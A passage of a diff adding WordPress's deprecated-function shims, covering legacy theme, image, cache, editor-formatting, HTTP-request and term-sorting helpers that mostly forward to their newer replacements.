+function parent_post_rel_link( $title = '%title' ) {
+	_deprecated_function( __FUNCTION__, '3.3.0' );
+
+	echo get_parent_post_rel_link($title);
+}
+
+/**
+ * Add the "Dashboard"/"Visit Site" menu.
+ *
+ * @since 3.2.0
+ * @deprecated 3.3.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar WP_Admin_Bar instance.
+ */
+function wp_admin_bar_dashboard_view_site_menu( $wp_admin_bar ) {
+	_deprecated_function( __FUNCTION__, '3.3.0' );
+
+	$user_id = get_current_user_id();
+
+	if ( 0 != $user_id ) {
+		if ( is_admin() )
+			$wp_admin_bar->add_menu( array( 'id' => 'view-site', 'title' => __( 'Visit Site' ), 'href' => home_url() ) );
+		elseif ( is_multisite() )
+			$wp_admin_bar->add_menu( array( 'id' => 'dashboard', 'title' => __( 'Dashboard' ), 'href' => get_dashboard_url( $user_id ) ) );
+		else
+			$wp_admin_bar->add_menu( array( 'id' => 'dashboard', 'title' => __( 'Dashboard' ), 'href' => admin_url() ) );
+	}
+}
+
+/**
+ * Checks if the current user belong to a given site.
+ *
+ * @since MU (3.0.0)
+ * @deprecated 3.3.0 Use is_user_member_of_blog()
+ * @see is_user_member_of_blog()
+ *
+ * @param int $blog_id Site ID
+ * @return bool True if the current users belong to $blog_id, false if not.
+ */
+function is_blog_user( $blog_id = 0 ) {
+	_deprecated_function( __FUNCTION__, '3.3.0', 'is_user_member_of_blog()' );
+
+	return is_user_member_of_blog( get_current_user_id(), $blog_id );
+}
+
+/**
+ * Open the file handle for debugging.
+ *
+ * @since 0.71
+ * @deprecated 3.4.0 Use error_log()
+ * @see error_log()
+ *
+ * @link https://secure.php.net/manual/en/function.error-log.php
+ *
+ * @param string $filename File name.
+ * @param string $mode     Type of access you required to the stream.
+ * @return false Always false.
+ */
+function debug_fopen( $filename, $mode ) {
+	_deprecated_function( __FUNCTION__, '3.4.0', 'error_log()' );
+	return false;
+}
+
+/**
+ * Write contents to the file used for debugging.
+ *
+ * @since 0.71
+ * @deprecated 3.4.0 Use error_log()
+ * @see error_log()
+ *
+ * @link https://secure.php.net/manual/en/function.error-log.php
+ *
+ * @param mixed  $fp     Unused.
+ * @param string $string Message to log.
+ */
+function debug_fwrite( $fp, $string ) {
+	_deprecated_function( __FUNCTION__, '3.4.0', 'error_log()' );
+	if ( ! empty( $GLOBALS['debug'] ) )
+		error_log( $string );
+}
+
+/**
+ * Close the debugging file handle.
+ *
+ * @since 0.71
+ * @deprecated 3.4.0 Use error_log()
+ * @see error_log()
+ *
+ * @link https://secure.php.net/manual/en/function.error-log.php
+ *
+ * @param mixed $fp Unused.
+ */
+function debug_fclose( $fp ) {
+	_deprecated_function( __FUNCTION__, '3.4.0', 'error_log()' );
+}
+
+/**
+ * Retrieve list of themes with theme data in theme directory.
+ *
+ * The theme is broken, if it doesn't have a parent theme and is missing either
+ * style.css and, or index.php. If the theme has a parent theme then it is
+ * broken, if it is missing style.css; index.php is optional.
+ *
+ * @since 1.5.0
+ * @deprecated 3.4.0 Use wp_get_themes()
+ * @see wp_get_themes()
+ *
+ * @return array Theme list with theme data.
+ */
+function get_themes() {
+	_deprecated_function( __FUNCTION__, '3.4.0', 'wp_get_themes()' );
+
+	global $wp_themes;
+	if ( isset( $wp_themes ) )
+		return $wp_themes;
+
+	$themes = wp_get_themes();
+	$wp_themes = array();
+
+	foreach ( $themes as $theme ) {
+		$name = $theme->get('Name');
+		if ( isset( $wp_themes[ $name ] ) )
+			$wp_themes[ $name . '/' . $theme->get_stylesheet() ] = $theme;
+		else
+			$wp_themes[ $name ] = $theme;
+	}
+
+	return $wp_themes;
+}
+
+/**
+ * Retrieve theme data.
+ *
+ * @since 1.5.0
+ * @deprecated 3.4.0 Use wp_get_theme()
+ * @see wp_get_theme()
+ *
+ * @param string $theme Theme name.
+ * @return array|null Null, if theme name does not exist. Theme data, if exists.
+ */
+function get_theme( $theme ) {
+	_deprecated_function( __FUNCTION__, '3.4.0', 'wp_get_theme( $stylesheet )' );
+
+	$themes = get_themes();
+	if ( is_array( $themes ) && array_key_exists( $theme, $themes ) )
+		return $themes[ $theme ];
+	return null;
+}
+
+/**
+ * Retrieve current theme name.
+ *
+ * @since 1.5.0
+ * @deprecated 3.4.0 Use wp_get_theme()
+ * @see wp_get_theme()
+ *
+ * @return string
+ */
+function get_current_theme() {
+	_deprecated_function( __FUNCTION__, '3.4.0', 'wp_get_theme()' );
+
+	if ( $theme = get_option( 'current_theme' ) )
+		return $theme;
+
+	return wp_get_theme()->get('Name');
+}
+
+/**
+ * Accepts matches array from preg_replace_callback in wpautop() or a string.
+ *
+ * Ensures that the contents of a `<pre>...</pre>` HTML block are not
+ * converted into paragraphs or line-breaks.
+ *
+ * @since 1.2.0
+ * @deprecated 3.4.0
+ *
+ * @param array|string $matches The array or string
+ * @return string The pre block without paragraph/line-break conversion.
+ */
+function clean_pre($matches) {
+	_deprecated_function( __FUNCTION__, '3.4.0' );
+
+	if ( is_array($matches) )
+		$text = $matches[1] . $matches[2] . "</pre>";
+	else
+		$text = $matches;
+
+	$text = str_replace(array('<br />', '<br/>', '<br>'), array('', '', ''), $text);
+	$text = str_replace('<p>', "\n", $text);
+	$text = str_replace('</p>', '', $text);
+
+	return $text;
+}
+
+
+/**
+ * Add callbacks for image header display.
+ *
+ * @since 2.1.0
+ * @deprecated 3.4.0 Use add_theme_support()
+ * @see add_theme_support()
+ *
+ * @param callable $wp_head_callback Call on the {@see 'wp_head'} action.
+ * @param callable $admin_head_callback Call on custom header administration screen.
+ * @param callable $admin_preview_callback Output a custom header image div on the custom header administration screen. Optional.
+ */
+function add_custom_image_header( $wp_head_callback, $admin_head_callback, $admin_preview_callback = '' ) {
+	_deprecated_function( __FUNCTION__, '3.4.0', 'add_theme_support( \'custom-header\', $args )' );
+	$args = array(
+		'wp-head-callback'    => $wp_head_callback,
+		'admin-head-callback' => $admin_head_callback,
+	);
+	if ( $admin_preview_callback )
+		$args['admin-preview-callback'] = $admin_preview_callback;
+	return add_theme_support( 'custom-header', $args );
+}
+
+/**
+ * Remove image header support.
+ *
+ * @since 3.1.0
+ * @deprecated 3.4.0 Use remove_theme_support()
+ * @see remove_theme_support()
+ *
+ * @return null|bool Whether support was removed.
+ */
+function remove_custom_image_header() {
+	_deprecated_function( __FUNCTION__, '3.4.0', 'remove_theme_support( \'custom-header\' )' );
+	return remove_theme_support( 'custom-header' );
+}
+
+/**
+ * Add callbacks for background image display.
+ *
+ * @since 3.0.0
+ * @deprecated 3.4.0 Use add_theme_support()
+ * @see add_theme_support()
+ *
+ * @param callable $wp_head_callback Call on the {@see 'wp_head'} action.
+ * @param callable $admin_head_callback Call on custom background administration screen.
+ * @param callable $admin_preview_callback Output a custom background image div on the custom background administration screen. Optional.
+ */
+function add_custom_background( $wp_head_callback = '', $admin_head_callback = '', $admin_preview_callback = '' ) {
+	_deprecated_function( __FUNCTION__, '3.4.0', 'add_theme_support( \'custom-background\', $args )' );
+	$args = array();
+	if ( $wp_head_callback )
+		$args['wp-head-callback'] = $wp_head_callback;
+	if ( $admin_head_callback )
+		$args['admin-head-callback'] = $admin_head_callback;
+	if ( $admin_preview_callback )
+		$args['admin-preview-callback'] = $admin_preview_callback;
+	return add_theme_support( 'custom-background', $args );
+}
+
+/**
+ * Remove custom background support.
+ *
+ * @since 3.1.0
+ * @deprecated 3.4.0 Use add_custom_background()
+ * @see add_custom_background()
+ *
+ * @return null|bool Whether support was removed.
+ */
+function remove_custom_background() {
+	_deprecated_function( __FUNCTION__, '3.4.0', 'remove_theme_support( \'custom-background\' )' );
+	return remove_theme_support( 'custom-background' );
+}
+
+/**
+ * Retrieve theme data from parsed theme file.
+ *
+ * @since 1.5.0
+ * @deprecated 3.4.0 Use wp_get_theme()
+ * @see wp_get_theme()
+ *
+ * @param string $theme_file Theme file path.
+ * @return array Theme data.
+ */
+function get_theme_data( $theme_file ) {
+	_deprecated_function( __FUNCTION__, '3.4.0', 'wp_get_theme()' );
+	$theme = new WP_Theme( basename( dirname( $theme_file ) ), dirname( dirname( $theme_file ) ) );
+
+	$theme_data = array(
+		'Name' => $theme->get('Name'),
+		'URI' => $theme->display('ThemeURI', true, false),
+		'Description' => $theme->display('Description', true, false),
+		'Author' => $theme->display('Author', true, false),
+		'AuthorURI' => $theme->display('AuthorURI', true, false),
+		'Version' => $theme->get('Version'),
+		'Template' => $theme->get('Template'),
+		'Status' => $theme->get('Status'),
+		'Tags' => $theme->get('Tags'),
+		'Title' => $theme->get('Name'),
+		'AuthorName' => $theme->get('Author'),
+	);
+
+	foreach ( apply_filters( 'extra_theme_headers', array() ) as $extra_header ) {
+		if ( ! isset( $theme_data[ $extra_header ] ) )
+			$theme_data[ $extra_header ] = $theme->get( $extra_header );
+	}
+
+	return $theme_data;
+}
+
+/**
+ * Alias of update_post_cache().
+ *
+ * @see update_post_cache() Posts and pages are the same, alias is intentional
+ *
+ * @since 1.5.1
+ * @deprecated 3.4.0 Use update_post_cache()
+ * @see update_post_cache()
+ *
+ * @param array $pages list of page objects
+ */
+function update_page_cache( &$pages ) {
+	_deprecated_function( __FUNCTION__, '3.4.0', 'update_post_cache()' );
+
+	update_post_cache( $pages );
+}
+
+/**
+ * Will clean the page in the cache.
+ *
+ * Clean (read: delete) page from cache that matches $id. Will also clean cache
+ * associated with 'all_page_ids' and 'get_pages'.
+ *
+ * @since 2.0.0
+ * @deprecated 3.4.0 Use clean_post_cache
+ * @see clean_post_cache()
+ *
+ * @param int $id Page ID to clean
+ */
+function clean_page_cache( $id ) {
+	_deprecated_function( __FUNCTION__, '3.4.0', 'clean_post_cache()' );
+
+	clean_post_cache( $id );
+}
+
+/**
+ * Retrieve nonce action "Are you sure" message.
+ *
+ * Deprecated in 3.4.1 and 3.5.0. Backported to 3.3.3.
+ *
+ * @since 2.0.4
+ * @deprecated 3.4.1 Use wp_nonce_ays()
+ * @see wp_nonce_ays()
+ *
+ * @param string $action Nonce action.
+ * @return string Are you sure message.
+ */
+function wp_explain_nonce( $action ) {
+	_deprecated_function( __FUNCTION__, '3.4.1', 'wp_nonce_ays()' );
+	return __( 'Are you sure you want to do this?' );
+}
+
+/**
+ * Display "sticky" CSS class, if a post is sticky.
+ *
+ * @since 2.7.0
+ * @deprecated 3.5.0 Use post_class()
+ * @see post_class()
+ *
+ * @param int $post_id An optional post ID.
+ */
+function sticky_class( $post_id = null ) {
+	_deprecated_function( __FUNCTION__, '3.5.0', 'post_class()' );
+	if ( is_sticky( $post_id ) )
+		echo ' sticky';
+}
+
+/**
+ * Retrieve post ancestors.
+ *
+ * This is no longer needed as WP_Post lazy-loads the ancestors
+ * property with get_post_ancestors().
+ *
+ * @since 2.3.4
+ * @deprecated 3.5.0 Use get_post_ancestors()
+ * @see get_post_ancestors()
+ *
+ * @param WP_Post $post Post object, passed by reference (unused).
+ */
+function _get_post_ancestors( &$post ) {
+	_deprecated_function( __FUNCTION__, '3.5.0' );
+}
+
+/**
+ * Load an image from a string, if PHP supports it.
+ *
+ * @since 2.1.0
+ * @deprecated 3.5.0 Use wp_get_image_editor()
+ * @see wp_get_image_editor()
+ *
+ * @param string $file Filename of the image to load.
+ * @return resource The resulting image resource on success, Error string on failure.
+ */
+function wp_load_image( $file ) {
+	_deprecated_function( __FUNCTION__, '3.5.0', 'wp_get_image_editor()' );
+
+	if ( is_numeric( $file ) )
+		$file = get_attached_file( $file );
+
+	if ( ! is_file( $file ) ) {
+		/* translators: %s: file name */
+		return sprintf( __( 'File &#8220;%s&#8221; doesn&#8217;t exist?' ), $file );
+	}
+
+	if ( ! function_exists('imagecreatefromstring') )
+		return __('The GD image library is not installed.');
+
+	// Set artificially high because GD uses uncompressed images in memory.
+	wp_raise_memory_limit( 'image' );
+
+	$image = imagecreatefromstring( file_get_contents( $file ) );
+
+	if ( ! is_resource( $image ) ) {
+		/* translators: %s: file name */
+		return sprintf( __( 'File &#8220;%s&#8221; is not an image.' ), $file );
+	}
+
+	return $image;
+}
+
+/**
+ * Scale down an image to fit a particular size and save a new copy of the image.
+ *
+ * The PNG transparency will be preserved using the function, as well as the
+ * image type. If the file going in is PNG, then the resized image is going to
+ * be PNG. The only supported image types are PNG, GIF, and JPEG.
+ *
+ * Some functionality requires API to exist, so some PHP version may lose out
+ * support. This is not the fault of WordPress (where functionality is
+ * downgraded, not actual defects), but of your PHP version.
+ *
+ * @since 2.5.0
+ * @deprecated 3.5.0 Use wp_get_image_editor()
+ * @see wp_get_image_editor()
+ *
+ * @param string $file Image file path.
+ * @param int $max_w Maximum width to resize to.
+ * @param int $max_h Maximum height to resize to.
+ * @param bool $crop Optional. Whether to crop image or resize.
+ * @param string $suffix Optional. File suffix.
+ * @param string $dest_path Optional. New image file path.
+ * @param int $jpeg_quality Optional, default is 90. Image quality percentage.
+ * @return mixed WP_Error on failure. String with new destination path.
+ */
+function image_resize( $file, $max_w, $max_h, $crop = false, $suffix = null, $dest_path = null, $jpeg_quality = 90 ) {
+	_deprecated_function( __FUNCTION__, '3.5.0', 'wp_get_image_editor()' );
+
+	$editor = wp_get_image_editor( $file );
+	if ( is_wp_error( $editor ) )
+		return $editor;
+	$editor->set_quality( $jpeg_quality );
+
+	$resized = $editor->resize( $max_w, $max_h, $crop );
+	if ( is_wp_error( $resized ) )
+		return $resized;
+
+	$dest_file = $editor->generate_filename( $suffix, $dest_path );
+	$saved = $editor->save( $dest_file );
+
+	if ( is_wp_error( $saved ) )
+		return $saved;
+
+	return $dest_file;
+}
+
+/**
+ * Retrieve a single post, based on post ID.
+ *
+ * Has categories in 'post_category' property or key. Has tags in 'tags_input'
+ * property or key.
+ *
+ * @since 1.0.0
+ * @deprecated 3.5.0 Use get_post()
+ * @see get_post()
+ *
+ * @param int $postid Post ID.
+ * @param string $mode How to return result, either OBJECT, ARRAY_N, or ARRAY_A.
+ * @return WP_Post|null Post object or array holding post contents and information
+ */
+function wp_get_single_post( $postid = 0, $mode = OBJECT ) {
+	_deprecated_function( __FUNCTION__, '3.5.0', 'get_post()' );
+	return get_post( $postid, $mode );
+}
+
+/**
+ * Check that the user login name and password is correct.
+ *
+ * @since 0.71
+ * @deprecated 3.5.0 Use wp_authenticate()
+ * @see wp_authenticate()
+ *
+ * @param string $user_login User name.
+ * @param string $user_pass User password.
+ * @return bool False if does not authenticate, true if username and password authenticates.
+ */
+function user_pass_ok($user_login, $user_pass) {
+	_deprecated_function( __FUNCTION__, '3.5.0', 'wp_authenticate()' );
+	$user = wp_authenticate( $user_login, $user_pass );
+	if ( is_wp_error( $user ) )
+		return false;
+
+	return true;
+}
+
+/**
+ * Callback formerly fired on the save_post hook. No longer needed.
+ *
+ * @since 2.3.0
+ * @deprecated 3.5.0
+ */
+function _save_post_hook() {}
+
+/**
+ * Check if the installed version of GD supports particular image type
+ *
+ * @since 2.9.0
+ * @deprecated 3.5.0 Use wp_image_editor_supports()
+ * @see wp_image_editor_supports()
+ *
+ * @param string $mime_type
+ * @return bool
+ */
+function gd_edit_image_support($mime_type) {
+	_deprecated_function( __FUNCTION__, '3.5.0', 'wp_image_editor_supports()' );
+
+	if ( function_exists('imagetypes') ) {
+		switch( $mime_type ) {
+			case 'image/jpeg':
+				return (imagetypes() & IMG_JPG) != 0;
+			case 'image/png':
+				return (imagetypes() & IMG_PNG) != 0;
+			case 'image/gif':
+				return (imagetypes() & IMG_GIF) != 0;
+		}
+	} else {
+		switch( $mime_type ) {
+			case 'image/jpeg':
+				return function_exists('imagecreatefromjpeg');
+			case 'image/png':
+				return function_exists('imagecreatefrompng');
+			case 'image/gif':
+				return function_exists('imagecreatefromgif');
+		}
+	}
+	return false;
+}
+
+/**
+ * Converts an integer byte value to a shorthand byte value.
+ *
+ * @since 2.3.0
+ * @deprecated 3.6.0 Use size_format()
+ * @see size_format()
+ *
+ * @param int $bytes An integer byte value.
+ * @return string A shorthand byte value.
+ */
+function wp_convert_bytes_to_hr( $bytes ) {
+	_deprecated_function( __FUNCTION__, '3.6.0', 'size_format()' );
+
+	$units = array( 0 => 'B', 1 => 'KB', 2 => 'MB', 3 => 'GB', 4 => 'TB' );
+	$log   = log( $bytes, KB_IN_BYTES );
+	$power = (int) $log;
+	$size  = pow( KB_IN_BYTES, $log - $power );
+
+	if ( ! is_nan( $size ) && array_key_exists( $power, $units ) ) {
+		$unit = $units[ $power ];
+	} else {
+		$size = $bytes;
+		$unit = $units[0];
+	}
+
+	return $size . $unit;
+}
+
+/**
+ * Formerly used internally to tidy up the search terms.
+ *
+ * @since 2.9.0
+ * @access private
+ * @deprecated 3.7.0
+ *
+ * @param string $t Search terms to "tidy", e.g. trim.
+ * @return string Trimmed search terms.
+ */
+function _search_terms_tidy( $t ) {
+	_deprecated_function( __FUNCTION__, '3.7.0' );
+	return trim( $t, "\"'\n\r " );
+}
+
+/**
+ * Determine if TinyMCE is available.
+ *
+ * Checks to see if the user has deleted the tinymce files to slim down
+ * their WordPress installation.
+ *
+ * @since 2.1.0
+ * @deprecated 3.9.0
+ *
+ * @return bool Whether TinyMCE exists.
+ */
+function rich_edit_exists() {
+	global $wp_rich_edit_exists;
+	_deprecated_function( __FUNCTION__, '3.9.0' );
+
+	if ( ! isset( $wp_rich_edit_exists ) )
+		$wp_rich_edit_exists = file_exists( ABSPATH . WPINC . '/js/tinymce/tinymce.js' );
+
+	return $wp_rich_edit_exists;
+}
+
+/**
+ * Old callback for tag link tooltips.
+ *
+ * @since 2.7.0
+ * @access private
+ * @deprecated 3.9.0
+ *
+ * @param int $count Number of topics.
+ * @return int Number of topics.
+ */
+function default_topic_count_text( $count ) {
+	return $count;
+}
+
+/**
+ * Formerly used to escape strings before inserting into the DB.
+ *
+ * Has not performed this function for many, many years. Use wpdb::prepare() instead.
+ *
+ * @since 0.71
+ * @deprecated 3.9.0
+ *
+ * @param string $content The text to format.
+ * @return string The very same text.
+ */
+function format_to_post( $content ) {
+	_deprecated_function( __FUNCTION__, '3.9.0' );
+	return $content;
+}
+
+/**
+ * Formerly used to escape strings before searching the DB. It was poorly documented and never worked as described.
+ *
+ * @since 2.5.0
+ * @deprecated 4.0.0 Use wpdb::esc_like()
+ * @see wpdb::esc_like()
+ *
+ * @param string $text The text to be escaped.
+ * @return string text, safe for inclusion in LIKE query.
+ */
+function like_escape($text) {
+	_deprecated_function( __FUNCTION__, '4.0.0', 'wpdb::esc_like()' );
+	return str_replace( array( "%", "_" ), array( "\\%", "\\_" ), $text );
+}
+
+/**
+ * Determines if the URL can be accessed over SSL.
+ *
+ * Determines if the URL can be accessed over SSL by using the WordPress HTTP API to access
+ * the URL using https as the scheme.
+ *
+ * @since 2.5.0
+ * @deprecated 4.0.0
+ *
+ * @param string $url The URL to test.
+ * @return bool Whether SSL access is available.
+ */
+function url_is_accessable_via_ssl( $url ) {
+	_deprecated_function( __FUNCTION__, '4.0.0' );
+
+	$response = wp_remote_get( set_url_scheme( $url, 'https' ) );
+
+	if ( !is_wp_error( $response ) ) {
+		$status = wp_remote_retrieve_response_code( $response );
+		if ( 200 == $status || 401 == $status ) {
+			return true;
+		}
+	}
+
+	return false;
+}
+
+/**
+ * Start preview theme output buffer.
+ *
+ * Will only perform task if the user has permissions and template and preview
+ * query variables exist.
+ *
+ * @since 2.6.0
+ * @deprecated 4.3.0
+ */
+function preview_theme() {
+	_deprecated_function( __FUNCTION__, '4.3.0' );
+}
+
+/**
+ * Private function to modify the current template when previewing a theme
+ *
+ * @since 2.9.0
+ * @deprecated 4.3.0
+ * @access private
+ *
+ * @return string
+ */
+function _preview_theme_template_filter() {
+	_deprecated_function( __FUNCTION__, '4.3.0' );
+	return '';
+}
+
+/**
+ * Private function to modify the current stylesheet when previewing a theme
+ *
+ * @since 2.9.0
+ * @deprecated 4.3.0
+ * @access private
+ *
+ * @return string
+ */
+function _preview_theme_stylesheet_filter() {
+	_deprecated_function( __FUNCTION__, '4.3.0' );
+	return '';
+}
+
+/**
+ * Callback function for ob_start() to capture all links in the theme.
+ *
+ * @since 2.6.0
+ * @deprecated 4.3.0
+ * @access private
+ *
+ * @param string $content
+ * @return string
+ */
+function preview_theme_ob_filter( $content ) {
+	_deprecated_function( __FUNCTION__, '4.3.0' );
+	return $content;
+}
+
+/**
+ * Manipulates preview theme links in order to control and maintain location.
+ *
+ * Callback function for preg_replace_callback() to accept and filter matches.
+ *
+ * @since 2.6.0
+ * @deprecated 4.3.0
+ * @access private
+ *
+ * @param array $matches
+ * @return string
+ */
+function preview_theme_ob_filter_callback( $matches ) {
+	_deprecated_function( __FUNCTION__, '4.3.0' );
+	return '';
+}
+
+/**
+ * Formats text for the rich text editor.
+ *
+ * The {@see 'richedit_pre'} filter is applied here. If $text is empty the filter will
+ * be applied to an empty string.
+ *
+ * @since 2.0.0
+ * @deprecated 4.3.0 Use format_for_editor()
+ * @see format_for_editor()
+ *
+ * @param string $text The text to be formatted.
+ * @return string The formatted text after filter is applied.
+ */
+function wp_richedit_pre($text) {
+	_deprecated_function( __FUNCTION__, '4.3.0', 'format_for_editor()' );
+
+	if ( empty( $text ) ) {
+		/**
+		 * Filters text returned for the rich text editor.
+		 *
+		 * This filter is first evaluated, and the value returned, if an empty string
+		 * is passed to wp_richedit_pre(). If an empty string is passed, it results
+		 * in a break tag and line feed.
+		 *
+		 * If a non-empty string is passed, the filter is evaluated on the wp_richedit_pre()
+		 * return after being formatted.
+		 *
+		 * @since 2.0.0
+		 * @deprecated 4.3.0
+		 *
+		 * @param string $output Text for the rich text editor.
+		 */
+		return apply_filters( 'richedit_pre', '' );
+	}
+
+	$output = convert_chars($text);
+	$output = wpautop($output);
+	$output = htmlspecialchars($output, ENT_NOQUOTES, get_option( 'blog_charset' ) );
+
+	/** This filter is documented in wp-includes/deprecated.php */
+	return apply_filters( 'richedit_pre', $output );
+}
+
+/**
+ * Formats text for the HTML editor.
+ *
+ * Unless $output is empty it will pass through htmlspecialchars before the
+ * {@see 'htmledit_pre'} filter is applied.
+ *
+ * @since 2.5.0
+ * @deprecated 4.3.0 Use format_for_editor()
+ * @see format_for_editor()
+ *
+ * @param string $output The text to be formatted.
+ * @return string Formatted text after filter applied.
+ */
+function wp_htmledit_pre($output) {
+	_deprecated_function( __FUNCTION__, '4.3.0', 'format_for_editor()' );
+
+	if ( !empty($output) )
+		$output = htmlspecialchars($output, ENT_NOQUOTES, get_option( 'blog_charset' ) ); // convert only < > &
+
+	/**
+	 * Filters the text before it is formatted for the HTML editor.
+	 *
+	 * @since 2.5.0
+	 * @deprecated 4.3.0
+	 *
+	 * @param string $output The HTML-formatted text.
+	 */
+	return apply_filters( 'htmledit_pre', $output );
+}
+
+/**
+ * Retrieve permalink from post ID.
+ *
+ * @since 1.0.0
+ * @deprecated 4.4.0 Use get_permalink()
+ * @see get_permalink()
+ *
+ * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is global $post.
+ * @return string|false
+ */
+function post_permalink( $post_id = 0 ) {
+	_deprecated_function( __FUNCTION__, '4.4.0', 'get_permalink()' );
+
+	return get_permalink( $post_id );
+}
+
+/**
+ * Perform a HTTP HEAD or GET request.
+ *
+ * If $file_path is a writable filename, this will do a GET request and write
+ * the file to that path.
+ *
+ * @since 2.5.0
+ * @deprecated 4.4.0 Use WP_Http
+ * @see WP_Http
+ *
+ * @param string      $url       URL to fetch.
+ * @param string|bool $file_path Optional. File path to write request to. Default false.
+ * @param int         $red       Optional. The number of Redirects followed, Upon 5 being hit,
+ *                               returns false. Default 1.
+ * @return bool|string False on failure and string of headers if HEAD request.
+ */
+function wp_get_http( $url, $file_path = false, $red = 1 ) {
+	_deprecated_function( __FUNCTION__, '4.4.0', 'WP_Http' );
+
+	@set_time_limit( 60 );
+
+	if ( $red > 5 )
+		return false;
+
+	$options = array();
+	$options['redirection'] = 5;
+
+	if ( false == $file_path )
+		$options['method'] = 'HEAD';
+	else
+		$options['method'] = 'GET';
+
+	$response = wp_safe_remote_request( $url, $options );
+
+	if ( is_wp_error( $response ) )
+		return false;
+
+	$headers = wp_remote_retrieve_headers( $response );
+	$headers['response'] = wp_remote_retrieve_response_code( $response );
+
+	// WP_HTTP no longer follows redirects for HEAD requests.
+	if ( 'HEAD' == $options['method'] && in_array($headers['response'], array(301, 302)) && isset( $headers['location'] ) ) {
+		return wp_get_http( $headers['location'], $file_path, ++$red );
+	}
+
+	if ( false == $file_path )
+		return $headers;
+
+	// GET request - write it to the supplied filename
+	$out_fp = fopen($file_path, 'w');
+	if ( !$out_fp )
+		return $headers;
+
+	fwrite( $out_fp,  wp_remote_retrieve_body( $response ) );
+	fclose($out_fp);
+	clearstatcache();
+
+	return $headers;
+}
+
+/**
+ * Whether SSL login should be forced.
+ *
+ * @since 2.6.0
+ * @deprecated 4.4.0 Use force_ssl_admin()
+ * @see force_ssl_admin()
+ *
+ * @param string|bool $force Optional Whether to force SSL login. Default null.
+ * @return bool True if forced, false if not forced.
+ */
+function force_ssl_login( $force = null ) {
+	_deprecated_function( __FUNCTION__, '4.4.0', 'force_ssl_admin()' );
+	return force_ssl_admin( $force );
+}
+
+/**
+ * Retrieve path of comment popup template in current or parent template.
+ *
+ * @since 1.5.0
+ * @deprecated 4.5.0
+ *
+ * @return string Full path to comments popup template file.
+ */
+function get_comments_popup_template() {
+	_deprecated_function( __FUNCTION__, '4.5.0' );
+
+	return '';
+}
+
+/**
+ * Determines whether the current URL is within the comments popup window.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 1.5.0
+ * @deprecated 4.5.0
+ *
+ * @return bool
+ */
+function is_comments_popup() {
+	_deprecated_function( __FUNCTION__, '4.5.0' );
+
+	return false;
+}
+
+/**
+ * Display the JS popup script to show a comment.
+ *
+ * @since 0.71
+ * @deprecated 4.5.0
+ */
+function comments_popup_script() {
+	_deprecated_function( __FUNCTION__, '4.5.0' );
+}
+
+/**
+ * Adds element attributes to open links in new windows.
+ *
+ * @since 0.71
+ * @deprecated 4.5.0
+ *
+ * @param string $text Content to replace links to open in a new window.
+ * @return string Content that has filtered links.
+ */
+function popuplinks( $text ) {
+	_deprecated_function( __FUNCTION__, '4.5.0' );
+	$text = preg_replace('/<a (.+?)>/i', "<a $1 target='_blank' rel='external'>", $text);
+	return $text;
+}
+
+/**
+ * The Google Video embed handler callback.
+ *
+ * Deprecated function that previously assisted in turning Google Video URLs
+ * into embeds but that service has since been shut down.
+ *
+ * @since 2.9.0
+ * @deprecated 4.6.0
+ *
+ * @return string An empty string.
+ */
+function wp_embed_handler_googlevideo( $matches, $attr, $url, $rawattr ) {
+	_deprecated_function( __FUNCTION__, '4.6.0' );
+
+	return '';
+}
+
+/**
+ * Retrieve path of paged template in current or parent template.
+ *
+ * @since 1.5.0
+ * @deprecated 4.7.0 The paged.php template is no longer part of the theme template hierarchy.
+ *
+ * @return string Full path to paged template file.
+ */
+function get_paged_template() {
+	_deprecated_function( __FUNCTION__, '4.7.0' );
+
+	return get_query_template( 'paged' );
+}
+
+/**
+ * Removes the HTML JavaScript entities found in early versions of Netscape 4.
+ *
+ * Previously, this function was pulled in from the original
+ * import of kses and removed a specific vulnerability only
+ * existent in early version of Netscape 4. However, this
+ * vulnerability never affected any other browsers and can
+ * be considered safe for the modern web.
+ *
+ * The regular expression which sanitized this vulnerability
+ * has been removed in consideration of the performance and
+ * energy demands it placed, now merely passing through its
+ * input to the return.
+ *
+ * @since 1.0.0
+ * @deprecated 4.7.0 Officially dropped security support for Netscape 4.
+ *
+ * @param string $string
+ * @return string
+ */
+function wp_kses_js_entities( $string ) {
+	_deprecated_function( __FUNCTION__, '4.7.0' );
+
+	return preg_replace( '%&\s*\{[^}]*(\}\s*;?|$)%', '', $string );
+}
+
+/**
+ * Sort categories by ID.
+ *
+ * Used by usort() as a callback, should not be used directly. Can actually be
+ * used to sort any term object.
+ *
+ * @since 2.3.0
+ * @deprecated 4.7.0 Use wp_list_sort()
+ * @access private
+ *
+ * @param object $a
+ * @param object $b
+ * @return int
+ */
+function _usort_terms_by_ID( $a, $b ) {
+	_deprecated_function( __FUNCTION__, '4.7.0', 'wp_list_sort()' );
+
+	if ( $a->term_id > $b->term_id )
+		return 1;
+	elseif ( $a->term_id < $b->term_id )
+		return -1;
+	else
+		return 0;
+}
+
+/**
+ * Sort categories by name.
+ *
+ * Used by usort() as a callback, should not be used directly. Can actually be
+ * used to sort any term object.
+ *
+ * @since 2.3.0
+ * @deprecated 4.7.0 Use wp_list_sort()
+ * @access private
+ *
+ * @param object $a
+ * @param object $b
+ * @return int
+ */
+function _usort_terms_by_name( $a, $b ) {
+	_deprecated_function( __FUNCTION__, '4.7.0', 'wp_list_sort()' );
+
+	return strcmp( $a->name, $b->name );
+}
+
+/**
+ * Sort menu items by the desired key.
+ *
+ * @since 3.0.0
+ * @deprecated 4.7.0 Use wp_list_sort()
+ * @access private
+ *
+ * @global string $_menu_item_sort_prop
+ *
+ * @param object $a The first object to compare
+ * @param object $b The second object to compare
+ * @return int -1, 0, or 1 if $a is considered to be respectively less than, equal to, or greater than $b.
+ */
+function _sort_nav_menu_items( $a, $b ) {
+	global $_menu_item_sort_prop;
+
+	_deprecated_function( __FUNCTION__, '4.7.0', 'wp_list_sort()' );
+
+	if ( empty( $_menu_item_sort_prop ) )
+		return 0;
+
+	if ( ! isset( $a->$_menu_item_sort_prop ) || ! isset( $b->$_menu_item_sort_prop ) )
+		return 0;
+
+	$_a = (int) $a->$_menu_item_sort_prop;
+	$_b = (int) $b->$_menu_item_sort_prop;
+
+	if ( $a->$_menu_item_sort_prop == $b->$_menu_item_sort_prop )
+		return 0;
+	elseif ( $_a == $a->$_menu_item_sort_prop && $_b == $b->$_menu_item_sort_prop )
